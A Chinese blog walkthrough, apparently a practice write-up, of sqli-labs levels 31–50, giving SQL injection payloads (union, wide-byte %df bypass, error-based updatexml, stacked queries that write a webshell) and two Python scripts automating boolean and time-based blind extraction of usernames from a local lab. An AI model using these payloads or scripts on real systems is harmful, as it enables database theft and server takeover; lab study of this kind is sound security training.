IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> sqli-lab 31-50 -> 正文阅读

[PHP知识库]sqli-lab 31-50

Less-31:

Less-31和Less-30一样

在index.php页面没有防护是")闭合

直接打:

在这里插入图片描述

在login.php页面有防护

在这里插入图片描述
和Less-30一样利用参数污染攻击:

-1") union select 1,2,(select group_concat(username) from users)-- ad

获取username值:

在这里插入图片描述

Less-32:

打开题目发现题目提示:
在这里插入图片描述

我们输入的字符查询将被转义,并且给出了id值的十六进制:

在这里插入图片描述

这就容易让我们想到宽字节注入

具体看这篇博客:
https://blog.csdn.net/qq_43504939/article/details/90108468

尝试注入:

?id=1%df'

在这里插入图片描述
进行union注入
获取字段:
在3处不报错,4处报错,字段为3

?id=1%df' order by 3-- as

在这里插入图片描述

找出在2,3处位置回显

-1%df' union select 1,2,3-- sa

在这里插入图片描述

获取数据库:

-1%df' union select 1,2,database()-- sa

在这里插入图片描述

表名:

?id=-1%df' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())-- sa

在这里插入图片描述
获取user字段:

这里涉及要获取表名和数据库是要用where 判断=‘user’,有引号会被转义所有利用Hex编码绕过:

-1%df' union select 1,2,(group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)-- s

在这里插入图片描述

获取usrname值:

?id=-1%df' union select 1,2,(select group_concat(username) from users)-- s

在这里插入图片描述

Less-33:

与上一关一样宽字节注入:

在这里插入图片描述

获取username的值:

在这里插入图片描述

Less-34:

打开题目发现和上一题一样但是这题是POST请求:

在这里插入图片描述

但是直接在页面请求是没用用的:
在这里插入图片描述

发现没有逃逸

用burpsuite抓包看一下发现被编码了:

在这里插入图片描述

改一下在发送:

在这里插入图片描述

宽字节注入成功

剩下步骤与31题一样

获取username的值:

-1%df' union select 1,2,(select group_concat(username) from users)-- s

在这里插入图片描述

Less-35:

这题发现对 ’ 进行了转义但这是整数型注入不需要单引号

所以直接注入:

获取username的值:

?id=-1 union select 1,2,(select group_concat(username) from users)-- s

在这里插入图片描述

Less-36:

发现和Less-34一样,具体就不在累赘直接上payload:

获取payload的值

?id=-1%df' union select 1,(select group_concat(username) from users)-- ad

在这里插入图片描述

Less-37:

发现和Less-34一样,具体就不在累赘直接上payload:

获取payload的值

uname=-1%df' union select 1,(select group_concat(username) from users)-- ad&passwd=123456&submit=Submit

在这里插入图片描述

Less-38:

打开题目发现可以进行简单的union注入:

?id=-1' union select 1,(select group_concat(username) from users)-- ad

在这里插入图片描述

但根据题目提示可以进行堆叠注入,就测一波堆叠注入:

直接写一句话木马:

在这里插入图片描述

访问执行命令得到:

在这里插入图片描述

Less-39:

这一题和# Less-38一样也是堆叠注入但不同的是是整型注入,还是直接执行命令写shell:

在这里插入图片描述

访问执行命令:

在这里插入图片描述

Less-40:

这一题和# Less-39一样也是堆叠注入但不同的是先通过布尔盲注找到用 ') 闭合,还是直接执行命令写shell:

在这里插入图片描述
访问执行命令:

在这里插入图片描述

Less-41:

这一题和# Less-40一样也是堆叠注入但不同的是先通过布尔盲注找到是整型注入,还是直接执行命令写shell:

在这里插入图片描述
访问执行命令:

在这里插入图片描述

Less-42:

通过burpsuite抓包获取请求信息:

在这里插入图片描述

换hackbar请求(比较直观):

在这里插入图片描述
发现单引号报错,并且也是堆叠注入

于是写入shell:

在这里插入图片描述
访问执行命令:

在这里插入图片描述

Less-43:

这一题和# Less-42一样也是堆叠注入但不同的是 ') 闭合,还是直接执行命令写shell:

在这里插入图片描述

访问执行命令:

在这里插入图片描述

Less-44:

这一题和# Less-40一样也是堆叠注入但不同的是先通过布尔盲注找到是:sad’ or 1=1#闭合,还是直接执行命令写shell:

在这里插入图片描述

访问执行命令:

在这里插入图片描述

Less-45:

这一题和# Less-40一样也是堆叠注入但不同的是先通过布尔盲注找到是:
') 闭合,还是直接执行命令写shell:

在这里插入图片描述

访问执行命令:

在这里插入图片描述

Less-46:

打开题目经过测试,发现sort的值为1,2,3并且为按那个列排序,且是整数型注入:

在这里插入图片描述

可以打报错注入得到,这里就不浪费时间了
直接获取username的值:

?sort=1 and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)

在这里插入图片描述

Less-47:

这一题和# Less-46一样也是堆叠注入但不同的是:
') 闭合

可以打报错注入得到,这里就不浪费时间了
直接获取username的值:

?sort=1' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)--+

在这里插入图片描述

Less-48:

通过测试发现不会报错是一个整数盲注

当我们输入的sort不存在是得到:

在这里插入图片描述

当连接上or sleep(1)时:

?sort= 0 or or sleep(1)

得到:

在这里插入图片描述

发现发生了延时,当前面的sort存在时不发生延时,发生短路。

所以用下面这个语句,判断当前数据库的第一个值是否为s,正确的话为1,不发生延时,否则延时:

?sort=(ord(substr(database(),1,1))=115) or sleep(1)

结果是不延时,可以确定当前数据库 的第一个值

但这样太慢,我采用rand()函数

在这里插入图片描述

在这里插入图片描述

可以发现rand(0)和rand(1)的排序结果是不一样的

所以我们限制只输出一条用:limit 1

这样就可以USRNAME来判断达到布尔盲注

列:

?sort=rand(length(database())>7) limit 1

在这里插入图片描述

在这里插入图片描述

发现大于7时为Dumb

所以database()的长度为7

所以编写出脚本获取值:

import requests
url = 'http://127.0.0.1/sqli/Less-48/?sort='
str = ''
m = 0
print('[*]开始爆破......')
print('[*]:',end='')

while True:
    m += 1 #长度
    over = str #判断结束标志
    for code in range(1,256):

        #获取数据库:f'rand(ord(substr(database(),{m},1))={code}) limit 1'
        #获取表:f'rand(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{m},1))={code}) limit 1'
        #获取字段:f"rand(ord(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{m},1))={code}) limit 1"
        #获取值:f'rand(ord(substr((select group_concat(username) from users),{m},1))={code}) limit 1'
        payload = f'rand(ord(substr((select group_concat(username) from users),{m},1))={code}) limit 1'
        html = requests.get(url+payload)
        sign = html.text

        if 'admin3' in sign:
            str += chr(code)
            print(f'{chr(code)}',end='')

    if over == str:
        break

print()
print(f'[*]爆破结果:{str}')

得到username的值:

在这里插入图片描述

Less-49:

Less-49和Less-48一样都是盲注,但是49是用 ’ 闭合,所以我采用用的是时间盲注:

?sort=1' and if(1<2,sleep(1),1)-- as

编写脚本

import requests
url = 'http://127.0.0.1/sqli/Less-49/?sort='
str = ''
m = 0
print('[*]开始爆破......')
print('[*]:',end='')

while True:
    m += 1 #长度
    over = str #判断结束标志
    for code in range(1,256):

        #获取数据库:f"1' and if((ord(substr(database(),{m},1))={code}),sleep(1),1)-- as"
        #获取表:f"1' and if((ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{m},1))={code}),sleep(1),1)-- as"
        #获取字段:f"1' and if((ord(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{m},1))={code}),sleep(1),1)-- as"
        #获取值:f"1' and if((ord(substr((select group_concat(username) from users),{m},1))={code}),sleep(1),1)-- as"
        payload = f"1' and if((ord(substr(database(),{m},1))={code}),sleep(1),1)-- as"
        html = requests.get(url+payload)
        sign = html.elapsed.seconds

        if sign >1:
            str += chr(code)
            print(f'{chr(code)}',end='')

    if over == str:
        break

print()
print(f'[*]爆破结果:{str}')


获取username的值:

在这里插入图片描述

Less-50:

打开题目发现和49一样都是排序,但是50发现单引号报错所以可以打报错注入,又因为题目提示可以打堆叠注入所以直接写shell

在进一步测试发现是整型注入,不需要闭合

所以直接写shell:

在这里插入图片描述

访问执行:

在这里插入图片描述

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-04-22 18:16:01  更:2022-04-22 18:16:09 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/18 11:42:38-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码